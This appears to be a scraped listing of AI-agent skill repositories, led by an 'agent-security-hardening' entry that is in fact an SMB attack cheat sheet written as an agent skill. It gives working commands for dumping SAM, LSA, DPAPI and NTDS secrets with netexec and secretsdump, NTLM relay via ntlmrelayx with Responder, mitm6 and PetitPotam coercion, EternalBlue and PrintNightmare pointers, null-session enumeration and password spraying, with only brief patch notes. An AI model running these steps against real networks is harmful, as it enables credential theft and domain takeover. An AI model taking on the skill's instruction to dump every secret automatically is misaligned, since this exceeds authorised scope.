agent-security-hardening
AFaffaan-m/ECC314k3,503 new stars in the last 7 days
SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.
netexec smb HOST -u USER -p PASS --dpapi bare = FULL dump (browser passwords, vault, cookies, Credential Manager).
Adding subcommands (cookies, nosystem, wifi) LIMITS output. Always bare --dpapi first.
Run ALL, in order — each gets different secrets:
--sam — local hashes--lsa — service passwords, cached domain creds--dpapi — user secrets (browser, vault, Credential Manager)--ntds — DC only, all domain hashes
Fallback: secretsdump.py DOMAIN/USER:PASS@HOSTCheck: netexec smb TARGET → if "signing: False" → relay is possible.
Generate target list: netexec smb SUBNET --gen-relay-list relay.txt
Relay: impacket-ntlmrelayx -tf relay.txt -smb2support
Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.
Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: nmap --script smb-vuln-ms17-010 -p 445 TARGET.
Windows Print Spooler RCE via RPC. rpcdump.py TARGET | grep -i spool → cube0x0/CVE-2021-1675 or cube0x0/CVE-2021-34527. Patch: KB5004945+. Check GPO Turn off printing for mitigation status.
Coerce DC NTLM auth via MS-EFSRPC. PetitPotam.py <attacker> <target> → capture with Responder/ntlmrelayx → relay to ADCS (ESC8) or LDAP. Patched by KB5005413+ and LdapEnforceChannelBinding=1 / LdapServerIntegrity=2.
enum4linux-ng -A TARGET, rpcclient -U '' -N TARGET -c 'enumdomusers'.
If null session works → user list → AS-REP roast / password spray.
AFaffaan-m/ECC314k3,503 new stars in the last 7 days
Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.
DIDietrichGebert/ponytail202k4,226 new stars in the last 7 days
GAgarrytan/gstack143k524 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
RUruvnet/RuView106k596 new stars in the last 7 days